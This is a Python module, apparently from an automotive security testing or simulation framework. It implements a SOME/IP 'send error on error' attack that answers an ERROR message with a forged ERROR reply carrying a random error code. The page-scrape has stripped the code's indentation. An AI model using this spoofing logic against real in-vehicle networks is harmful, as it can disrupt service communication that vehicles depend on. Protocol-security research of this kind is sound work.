"""
Answers with an Error message to a previous Error message.
"""
import copy
import random
from src import Msg
from src import SomeIPPacket
from src.attacks import AttackerHelper
[docs]def sendErrorOnError(a, msgOrig):
""" Attack Specific Function. """
sender = msgOrig.receiver
receiver = msgOrig.sender
timestamp = None
message = {}
message['service'] = msgOrig.message['service']
message['method'] = msgOrig.message['method']
message['client'] = msgOrig.message['client']
message['session'] = msgOrig.message['session']
message['proto'] = SomeIPPacket.VERSION
message['iface'] = SomeIPPacket.INTERFACE
message['type'] = SomeIPPacket.messageTypes['ERROR']
errors = ['E_NOT_OK', 'E_NOT_READY', 'E_NOT_REACHABLE', 'E_TIMEOUT', 'E_MALFORMED_MESSAGE']
message['ret'] = SomeIPPacket.errorCodes[random.choice(errors)]
msg = Msg.Msg(sender, receiver, message, timestamp)
return msg
[docs]def doAttack(curAttack, msgOrig, a, attacksSuc):
""" Generic Function called from Attacker module. """
RetVal = {}
if a.verbose:
print ('Send Error On Error Attack')
if msgOrig.message['type'] == SomeIPPacket.messageTypes['ERROR']:
msg = sendErrorOnError(a, msgOrig)
if a.verbose:
print ('MALICIOUS MSG: ', msg.message, ' FROM=', msg.sender, ' TO=', msg.receiver)
RetVal['msg'] = msg
RetVal['attackOngoing'] = False
RetVal['dropMsg'] = False
RetVal['counter'] = attacksSuc + 1
else:
RetVal['msg'] = None
RetVal['attackOngoing'] = True
RetVal['dropMsg'] = False
RetVal['counter'] = attacksSuc
return RetVal